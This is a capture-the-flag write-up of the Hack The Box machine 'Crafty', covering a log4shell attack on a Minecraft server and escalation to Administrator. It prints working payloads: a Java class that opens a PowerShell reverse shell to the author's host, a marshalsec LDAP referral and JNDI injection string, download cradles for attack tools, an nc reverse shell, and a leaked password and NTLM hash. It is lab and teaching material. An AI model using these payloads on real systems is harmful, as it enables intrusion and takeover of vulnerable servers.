Crafty

INTRODUCTION

Crafty is an easy-rated Windows box, released for week 6 of HTB’s Season IV Savage Lands. This box centers around exploitation of log4j - maybe you’ve heard of it 😂 It was a really big deal in 2021. While the epidemic that ensued caused heaps of damage, very little actually changed as a result of its occurrence. If anything can be said for it, at least it stoked the international dialog on supply-chain attacks and the failing health of the open source ecosystem.

This box is just a website and a minecraft server. Foothold can be gained by mimicking a textbook example of log4shell. In this case, using a malicious LDAP server to indirectly serve a Java class that opens a reverse shell. Thankfully, the target isn’t running any antivirus, and crafting the reverse shell is easy. After gaining a foothold, some manual enumeration will lead you to a file containing a credential. The trick is in knowing how to utilize the credential, given the fragile nature of the reverse shell.

In my opinion, Crafty was really unpleasant. It’s cool that they did something with log4j, but at every twist and turn of this box, it was 10/10 annoying. For example, there’s no way to gain a better shell on the box, so if your reverse shell ever dies, you’ll need to re-exploit. And when you re-exploit, the box becomes unusable for every other HTB user - leading to an inevitable reset! 😫

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT      STATE SERVICE
80/tcp    open  http
25565/tcp open  minecraft

😂 25565… That’s probably the first port number I ever memorized, from running minecraft servers off my own computers at home. Wow, what a blast from the past.

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://crafty.htb
|_http-server-header: Microsoft-IIS/10.0
25565/tcp open  minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (86%)
Aggressive OS guesses: Microsoft Windows Server 2019 (86%)

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No vulnerabilities were found.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

No open/listening UDP ports were found.

Port 80 - Webserver Strategy

Noting the redirect from the nmap scan, I added crafty.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=crafty.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
whatweb $RADDR && curl -IL http://$RADDR

whatweb

OK, so it’s using Microsoft IIS 10.0 for the webserver, which seems like the current version.

Next I performed vhost and subdomain enumeration. I’ll check for subdomains of crafty.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that. I’ll move on to directory enumeration on http://crafty.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e php,asp,aspx,html -timeout 4 -v

Directory enumeration against http://crafty.htb/ gave the following:

directory enumeration results

Exploring the Website

The index page doesn’t hold any surprises. /home and . both redirect here. All three buttons link to /coming-soon. The website doesn’t appear to have any interactible content.

index page

Port 25565 - Minecraft

According to the nmap service version scans, the target is running Minecraft 1.16.5. Interestingly, a quick check reveals that this version is wildly out-of-date, from 2021. The latest Java Edition Minecraft is 1.20.2.

Version 1.16.5 was the last version that uses Java 8. We’ll see if that’s relevant.

🔔 Wait a second… Java…? 2021…? Is this about exploiting log4j? It’s worth checking, that’s for sure!

I already knew that people exploited log4j to attack Minecraft servers; it was a big deal that year. What I didn’t realize was how easy it was to actually pull off this exploit. Check out this video for a quick demonstration.

In this video, they utilize a malicious LDAP server using this repo and force the vulnerable minecraft server to make a request to the LDAP server, loading in a java class that contains the payload.

I shouldn’t get too excited. According to this official message, it’s possible to patch the vulnerability without upgrading the server:

1.12-1.16.5: Download this file to the working directory where your server runs. Then add the following JVM arguments to your startup command line: -Dlog4j.configurationFile=log4j2_112-116.xml

Java SE 8

To set up the malicious LDAP server (or RMI, it doesn’t matter) shown in that repo, we first need to install Java 8. You can get the official one from here, but it requires making a login.

👀 I always find dealing with java to be such a pain.

Note that my current java version is 17.0.10:

current java version

Download the java version. I already had one sitting around, jdk1.8.0_381 as a tarball in my Downloads directory. Next we install it so that update-alternatives can access it:

cd /usr/lib/jvm
tar -zxvf ~/Downloads/jdk-8u381-linux-x64.tar.gz
sudo update-alternatives --install  "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_381/bin/java" 0
sudo update-alternatives --install  "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_381/bin/javac" 0

Now that we’re done with that, we can change java versions more easily:

sudo update-alternatives --config java

Select the version of java that we need. In this case, option 3:

selecting alternate java version

Also do the same for javac

Now we can verify that we’re using the right version:

running alternate java version

☝️ You can also simply mask the java version by setting the JAVA_HOME environment variable, then putting that version of java on your PATH. That’s what I’ve done in the past, but this is easier. For an example of that method, check out this section of my RegistryTwo walkthrough.

FOOTHOLD

The whole plan for gaining a foothold might be a little confusing. I’ll be tackling each step in separate sections, but here’s the overall plan:

paSyelrovaed:::ATHS(LS(MCTTePDeMilATryAraniCPvtPvrDeeKehesecnErorhlrtRnaia)Rlvfesetferecr)matloichitotuIpsnjcefocrdtRoeemJqpNuraDeeyIsmltooCtaoceddoedLeDAPMSTwsieerenrxirTevttvAceteRrrcerGahnEfalTtttoogs

Getting Minecraft

⚠️ Reader! Please note there is a much better way to do this than getting the Minecraft client. At the end of this walkthrough, after going through this exploit using the Minecraft client, I explore how to do gain a foothold without needing to download or install the game.

Please refer to the section Exploiting without minecraft if that’s something that interests you. I highly recommend it!

I’m using TLauncher to get exactly the minecraft client version I need. Frankly, this application is making my skin crawl. I don’t recommend it 😷

My opinion? Go find something better than TLauncher. This launcher is really polluting my system. I’m going to have some cleanup work to do after this box🤦‍♂️

tlauncher

Be sure to choose the unmodded (Release) version. Click Install to download the appropriate minecraft client (I hope). It will install into ~/.minecraft, and the launcher itself is in ~/.tlauncher.

After downloading, I can run the game. I’ll connect to the target server:

connecting to target server

It seems to run alright for a few minutes, then crashes: no worries though - it won’t take that long to deploy the payload.

Writing the payload

For the payload, we’ll need to define a java class to gain RCE. For this, the easiest way is to define a class with a single static initializer block, that utilizes getRuntime().exec(). This way, the code will be executed as soon as the class is imported. Remember that the .java file must be named the same as the class:

public class Payload {
    static {
        try {
            String cmd = "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient(\'10.10.14.7\',4444);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + \'PS \' + (pwd).Path + \'> \';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()\""; 
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch (Exception e) {
            System.out.println("An error occurred while deploying payload:\n");
            e.printStackTrace();
        }
    }
}

☝️ For the cmd variable above, I used https://www.revshells.com/ to generate the Powershell #2 reverse shell, specifying my current tun0 IP and port 4444. It’s completely unobfuscated and sent as plaintext.

Since this is all going into a java String variable, all of the double-quotes and single-quotes will need to be escaped with a backslash \.

Then compile the payload. Remember, it must be compiled using Java 8:

compiling payload

Note: I initially tried this all using a base64 encoded Powershell reverse shell. Turns out that wasn’t necessary, and didn’t work. The above reverse shell works fine though.

Serving the payload

I’ll use a Python http.server to serve the payload. The LDAP server from marshalsec will reference this server when contacted by the target. Then, this http.server will serve our malicious java class to the target. From there, the target will include the code, which should run the static initializer code and trigger a reverse shell.

sudo ufw allow from $RADDR to any port 8000 proto tcp
cd exploit/payload # Directory that contains Payload.class
python3 -m http.server 8000

Setting up marshalsec

The marshalsec git repo that I mentioned earlier is used for a few different deserialization attacks. For those that want to learn in detail how it works, the repo has a paper explaining it all.

👍 The repo also mentions that Java 8 is required, but we’ve already taken care of that.

First, we’ll build it using maven:

mvn clean package -DskipTests

The feature I’ll need to use is JNDI reference indirection. Basically, we’ll get marshalsec to host a malicious LDAP server that, when called upon, will refer to an http server that we’re hosting on the target machine. We’ll be hosting a malicious java class from the http server. It should work like this:

Next, we’ll run marshalsec JNDI reference indirection and point it at an http server running locally. (PHP, Python, or anything else would be fine, but I’ll be using a python http.server):

sudo ufw allow from $RADDR to any port 1389 proto tcp
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.10.14.7:8000/#Payload"

The JNDI call that arrives here will basically tell the target Minecraft server “hey, look for the Payload class over here, and include that remote code into the classpath”.

Reverse shell

Next, I’ll open up a reverse shell listener:

sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
rlwrap socat -d TCP-LISTEN:4444 STDOUT

Finally, all of the pieces are in place. We can verify with netstat -tulpn can see they are listening and ready:

listening services

We should be able to trigger this whole thing by logging into the Minecraft server, then saying this in the chat:

${jndi:ldap://10.10.14.7:1389/Payload}

Trying it out

Alright, I’ll try logging onto the target’s Minecraft server and saying the JNDI command. I took a gif of achieving the reverse shell, but the LDAP server and HTTP server were contacted in a terminal not visible in the gif:

First, we see the LDAP server get contacted by the target:

marshalsec contacted

Then the HTTP server gets a request for the Payload.class:

http server contacted

Here’s how I did it in the game (press T to chat):

getting reverse shell

Indeed, we now have a Powershell reverse shell running as svc_minecraft:

reverse shell open

USER FLAG

The user flag is sitting on the Desktop folder for svc_minecraft. Go get it!

cd C:\Users\svc_minecraft\Desktop
cat user.txt

SSH

🚫 The target isn’t running SSH - don’t bother with this. I’m keeping this process here just for my own reference on future boxes, but it’s definitely not useful for Crafty!

Now that I got a foothold, I’d like to do an SSH connection instead. I’ll generate a key and try to plant it on the target:

ssh-keygen -t rsa -b 4096
# Used passphrase st4rling
base64 -w 0 id_rsa.pub | tee id_rsa.pub64
# copy the base64 public key to clipboard
chmod 700 id_rsa

On the target, we’ll use powershell to decode the key and place it:

cd C:\Users\svc_minecraft
New-Item -ItemType Directory -Force .ssh
cd .ssh
# Paste the base64 public key
$b64 = "c3NoLXJz...GthbGkK"
# Decode the base64 key
$decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64))
$decodedText | Out-File -FilePath "authorized_keys" -Encoding utf8

Then we log in using the private key:

ssh -i ./id_rsa svc_minecraft@$RADDR

😞 Unfortunately though, this didn’t seem to work. SSH just times out.

🤦‍♂️ Edit: DUH! For some reason, I thought the target was running SSH? I just rechecked my port scan, and it definitely is not. Woops!

ROOT FLAG

User enumeration

I’m still not very skilled with Windows, so I’m going to go straight to running winPEAS to look for a way to escalate. Normally, I’d transfer winPEAS using wget or curl, but it seems that the target doesn’t have either of those. Instead, let’s just use powershell:

(New-Object Net.WebClient).DownloadFile('http://10.10.14.7:8000/winPEASany.exe', 'C:\users\svc_minecraft\Desktop\winPEAS.exe')
.\winPEAS.exe

WinPEAS found a list of users, although just running net users would have done the same:

users on the target

However, winPEAS also showed that there have been 0 logins for jacob. Additionally, jacob does not have a directory in C:\Users - so I think it’s fair to say we won’t need to privesc to that user. In short, we only need to care about Administrator and svc_minecraft.

WinPEAS also seems to have found a hash for svc_minecraft:

???????????? Enumerating Security Packages Credentials
  Version: NetNTLMv2
  Hash:    svc_minecraft::CRAFTY:1122334455667788:c3b03e710cbcd66c30d43a49dffcaba3:01010000000000004bac97c87286da0135d0d230f8fbba4f0000000008003000300000000000000000000000002000004f18521d80ec0b053dce8cd5cf17f3359cca6435314f2d4862b085bf4a92a0c60a00100000000000000000000000000000000000090000000000000000000000

Next, I took a look around the filesystem. I found a plugin for the minecraft server, 'C:\users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar.

That’s notable mostly because we know the server was running without mods… 🤔

playercounter

I tried a few different methods to attempt to upload it to my machine so that I could examine the file, but didn’t have much success:

  • Impacket SMB server; drive mapping and copy to mapped drive
  • Impacket SMB server; upload to remote directory
  • Python uploadserver

Ultimately, I had to resort to using one of my own tools (one that’s kinda poorly-written), that I made to act a lot like python’s uploadserver module. Basically, it’s an extension of http.server that also handles POST requests and will output all received data to stdout. That way, you can just POST base64-encoded data at it:

git clone https://github.com/4wayhandshake/simple-http-server.git
cd simple-http-server
./SimpleServer.py 8000

Now, from the target, we can base64-encode the file and upload it using a POST request:

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar' -Encoding Byte))
Invoke-WebRequest -Uri http://10.10.14.7:8000 -Method POST -Body $b64

Then on the attacker, we need to base64-decode the data and put it into a file:

echo 'UvcG9tLnByb3BlcnRpZXNQSw...UGAAAAABkAGQBxBwAAhR8AAAAA' | base64 -d > playercounter.jar

Wondering if it held anything interesting, I checked strings on it. Nothing too interesting, just a mention of a java class (Playercounter.class). Curious about the class, I opened the file up in jd-gui (java decompiler) and examined the class. This is what I found:

package htb.crafty.playercounter;

import java.io.IOException;
import java.io.PrintWriter;
import net.kronos.rkon.core.Rcon;
import net.kronos.rkon.core.ex.AuthenticationException;
import org.bukkit.plugin.java.JavaPlugin;

public final class Playercounter extends JavaPlugin {
  public void onEnable() {
    Rcon rcon = null;
    try {
      rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
    } catch (IOException e) {
      throw new RuntimeException(e);
    } catch (AuthenticationException e2) {
      throw new RuntimeException(e2);
    } 
    String result = null;
    try {
      result = rcon.command("players online count");
      PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
      writer.println(result);
    } catch (IOException e3) {
      throw new RuntimeException(e3);
    } 
  }
  
  public void onDisable() {}
}

Ah, I get it. This is the thing that produces that little widget we saw on the /home page:

playercount

But wait… is this line some kind of connection string to a local service on port 27015? Perhaps string is a credential? I’ll look into it next 🚩

rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());

Also, we see that it’s writing a file to C:\inetpub. Is that a protected folder? You’d think the svc_minecraft and webserver service account would be separate. If this plugin is running with elevated permissions, it should be simple enough to swap it out for something that opens another shell. I’ll have to look into this as well 🚩

Mysterious credential

As I concluded earlier in the user enumeration section, the only two users on this machine that I need to care about are Administrator and svc_minecraft. Hopefully, s67u84zKq8IXw is the password for Administrator.

But even then, how does one change between users in Windows? It’s not like you can simply su -u like you might in Linux. There are a few ways…

Powershell only

Theres a way using only powershell:

$username = "Administrator"
$password = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $password)
Start-Process -Credential $credential -FilePath "whoami.exe"

I didn’t get any result from doing that.

Runas

There’s also a way usin runas, which should prompt for a password when it runs:

runas /user:Administrator /noprofile /savecred cmd

☝️ This is roughly equivalent to su -u [username] /bin/bash

The disadvantage with this is that you can’t provide a password to this call directly. In other words, you need an interactive prompt to use runas.

One way to get around this is by building on what we did in the “Powershell only” way:

$username = "Administrator"
$password = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $password)
Start-Process -Credential $credential -FilePath "runas" -ArgumentList "/user:$username 'whoami.exe'" 

However, this didn’t do anything either! Neither did this:

Start-Process -Credential $credential -FilePath "runas" -ArgumentList "/user:$username /noprofile /savecred 'whoami.exe'"

RunasCs

There’s a handy tool written as a drop-in replacement for runas but with extra functionality. It’s a lot more useful if you’re working out of a “dumb” shell. Check out the git repo for more detail. It allows the user to supply both the username and password as arguments.

Although this distinction sounds minor, it should allow us to overcome the limitations of this reverse shell!

First, let’s serve this tool to the target:

wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
unzip RunasCs.zip
python3 -m http.server 8000

Now, I’ll download the tool to the target:

# Download RunasCs
$file = 'C:\users\svc_minecraft\Downloads\RunasCs.exe'
(New-Object Net.WebClient).DownloadFile('http://10.10.14.7:8000/RunasCs.exe', $file)
# Try RunasCs
.\RunasCs.exe Administrator s67u84zKq8IXw "cmd /c whoami"

Nice! it worked! As it turns out, that “s67u84zKq8IXw” thing was indeed the password for Administrator:

runascs working

Let’s see if we can get a reverse shell out of it. I tried using a powershell reverse shell - didn’t work. Let’s try a netcat one instead. Also, nc isn’t on the target machine, so let’s download a copy:

$file = 'C:\users\svc_minecraft\Downloads\nc.exe'
(New-Object Net.WebClient).DownloadFile('http://10.10.14.7:8001/windows-binaries/nc.exe', $file)

Next, as shown in the RunasCs github repo, I’ll make a nc reverse shell and background it by using the -t 0 option:

$nc = "C:\users\svc_minecraft\Downloads\nc.exe"
.\RunasCs.exe Administrator s67u84zKq8IXw "$nc 10.10.14.7 4445 -e cmd.exe" -t 0

Alright! Success! 😁

root shell

Finally we have a root shell. Just type out the flag for those glorious root flag points 💰

type root.txt

⚠️ Remember to reset your java and javac versions to their defaults, if you haven’t already done so:

# Select the entries marked 'auto'
sudo update-alternatives --config java
sudo update-alternatives --config javac

EXTRA CREDIT

Exploiting without Minecraft

To exploit the vulnerability in log4j, we simply need to find a way to inject JNDI code into the log file. So we should be asking, do we really need to use a minecraft client for this? I would have loved to avoid getting TLauncher and downloading the game.

There’s a python package that looks like it does exactly this, called pyCraft. It looks like it has some requirements, so let’s set up a venv and try this out:

mkdir headless; cd headless
git clone https://github.com/ammaraskar/pyCraft.git
python3 -m venv .
source bin/activate
pip3 install requests cryptography pynbt

It comes with a pre-written example script, start,py:

pyCraft usage

Note that, even though we’re connecting to a multiplayer server, we’re in the offline use-case because we’re not trying to authenticate with authentication.mojang.com. Hence, run it by providing a blank password:

python3 start.py -u 4wayhandshake -p '' -s 10.10.11.249

It replies stating that was connected successfully. If you check out start.py, you’ll see that any input other than /respawn becomes a chat message. So we can exploit the target by issuing a single chat command:

pyCraft

Right away, I saw the exploit go through the LDAP server and the webserver:

pyCraft LDAP redirection

pyCraft payload delivery

Then I had a reverse shell!

pyCraft reverse shell

😁 That was way easier and cleaner that using a Minecraft launcher and downloading the game.

LESSONS LEARNED

two crossed swords

Attacker

  • When you’re dealing with Windows, sometimes it just takes a few tries. When I was doing privilege escalation to Administrator, I wasn’t even certain that I a password, much less the correct password. Thankfully, I only had to keep trying four times before I had positive confirmation that I had the correct password. The important part is that I didn’t give up right away - even though the alternatives I tried seemed nearly identical.
  • Keep RunasCs in mind for privilege escalation. This tool seems really useful, especially for the (fairly common) case when we’re trying to escalate using a non-interactive “dumb” shell.
two crossed swords

Defender

  • Disable remote code. I still can barely understand why Java has mechanisms for introducing remote code into a program. I’ve gone on this rant before, but why do things like RMI even exist? Do yourself a favor and disable this functionality. You can do this by providing flags to the java runtime itself.

  • The administrator left code inside the user directory of svc_minecraft that could easily be read. Although the action that this code performed was indeed safe, there were hardcoded credentials left inside. That’s a big problem. A way to prevent this is through access control lists (ACLs) and moving the credential into a secure location (not readible by svc_minecraft). The administrator could grant execute permissions to svc_minecraft for the plugin, but deny them read access to the credential file, by defining ACL rules with System.Security.AccessControl.FileSystemAccessRule.

  • Keep your software updated. Updating quickly would keep the server from being vulnerable for too long. The average developer didn’t see log4shell coming. The best they could have done is react quickly to it, and patch things as fast as possible.

  • Fund open source. Sadly, it’s not rare for widespread essential packages like log4j to be under-funded and in poor health. While many developers didn’t see log4shell coming, the log4j developers flagged the issue over a year before it became well-known. However, due to limited capacity and budget constraints, they couldnt fix it. So many people and companies keep demanding more and more from open source, but providing nothing. It’s unjust. You want something done? Contribute.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake